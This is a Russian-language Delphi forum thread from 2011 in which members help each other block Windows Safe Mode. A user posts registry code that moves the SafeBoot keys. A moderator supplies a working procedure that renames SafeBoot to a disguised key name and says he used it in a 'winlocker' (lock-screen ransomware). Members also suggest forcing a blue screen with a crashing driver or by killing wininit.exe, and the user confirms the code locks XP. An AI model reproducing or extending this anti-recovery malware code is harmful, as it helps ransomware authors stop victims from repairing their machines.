Запрет безопастного режима или экран смерти
|
|
Just_Crow | Дата: Вторник, 16.08.2011, 18:57 | Сообщение # 1 |
Частый гость
Зарегистрирован: 13.08.2011
Группа: Пользователи
Сообщений: 27
Статус: Offline
| Code KeyPreview:=true; reg:=TRegistry.Create; reg.RootKey:=HKEY_LOCAL_MACHINE; reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\minimal','System\CurrentControlSet\Control\SafeBoot\M',true); reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\NetWork','System\CurrentControlSet\Control\SafeBoot\N',true); reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',True); все прекрасно, но при тесте выяснилось что блокируется (на XP в частности) только безопастный режим с подержкой драйверов, а обычному трын трава | возможно ли чтобы отрубалось все?
|
|
| |
Neo | Дата: Среда, 17.08.2011, 09:32 | Сообщение # 2 |
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
| Не знаю,как на счёт отрубки БР,то синий экран смерти я обеспечить могу .Короче,пришлось написать для этого драйвер (правда он на С.Но кто виноват,что статьи по написанию драйверов в основном на С?) и приложение (на delphi,естественно). В драйвере я специально допустил такую ошибку: в момент загрузки беру число и делю его на нуль!Вот и вызывается BSOD.Для компиляции драйвера нужно использовать ddk.Я использовал 2600.1106.Вот исходничек:
Сообщение отредактировал Neo - Среда, 17.08.2011, 09:33 |
|
| |
dolphin | Дата: Среда, 17.08.2011, 11:29 | Сообщение # 3 |
Администратор
Сообщений: 906
Статус: Offline
| Just_Crow, попробуй переименовать сам ключ SafeBoot, потому что названия minimal и NetWork говорят сами за себя.
а проэкран смерти - лично у меня на семёрке получилось схватить его делая таскил wininit.exe ))) чисто случайно в процессе разработки обнаружил. Думаю что и в хр найдётся подобный критический процесс
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
Сообщение отредактировал dolphin - Среда, 17.08.2011, 11:35 |
|
| |
Just_Crow | Дата: Среда, 17.08.2011, 12:23 | Сообщение # 4 |
Частый гость
Зарегистрирован: 13.08.2011
Группа: Пользователи
Сообщений: 27
Статус: Offline
| Quote (Neo) Не знаю,как на счёт отрубки БР,то синий экран смерти я обеспечить могу Мне надо чтобы только в Бр экран смерти))) а по твоему посту чет навеяло что мообще запускаться не будет не один режим :-D так? или ошибаюсь
|
|
| |
Neo | Дата: Среда, 17.08.2011, 14:43 | Сообщение # 5 |
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
| Я просто показал как можно вызвать BSOD.А еслиQuote Мне надо чтобы только в Бр экран смерти ,то это легко))) Вот: Code Procedure SafeBoot(Block: Boolean); {true -заблочить,false - разблочить} Var Reg:TRegistry; Begin Reg:=TRegistry.Create; Try Reg.RootKey:=HKEY_LOCAL_MACHINE; Reg.OpenKey('SYSTEM\CurrentControlSet\Control',True); If Block Then Begin Reg.MoveKey('SafeBoot','SystemNls',True); Reg.Free; End Else Begin Reg.MoveKey('SystemNls','SafeBoot', True); Reg.Free; End; Except Reg.Free; End; End; Я сделал пример на том винлокере,вот как будет: P.S интересные модули
Сообщение отредактировал Neo - Среда, 17.08.2011, 14:44 |
|
| |
Just_Crow | Дата: Среда, 17.08.2011, 19:16 | Сообщение # 6 |
Частый гость
Зарегистрирован: 13.08.2011
Группа: Пользователи
Сообщений: 27
Статус: Offline
| Neo, еще раз благодарю! лучше и быть не может хпишку блочит на смерть
|
|
| |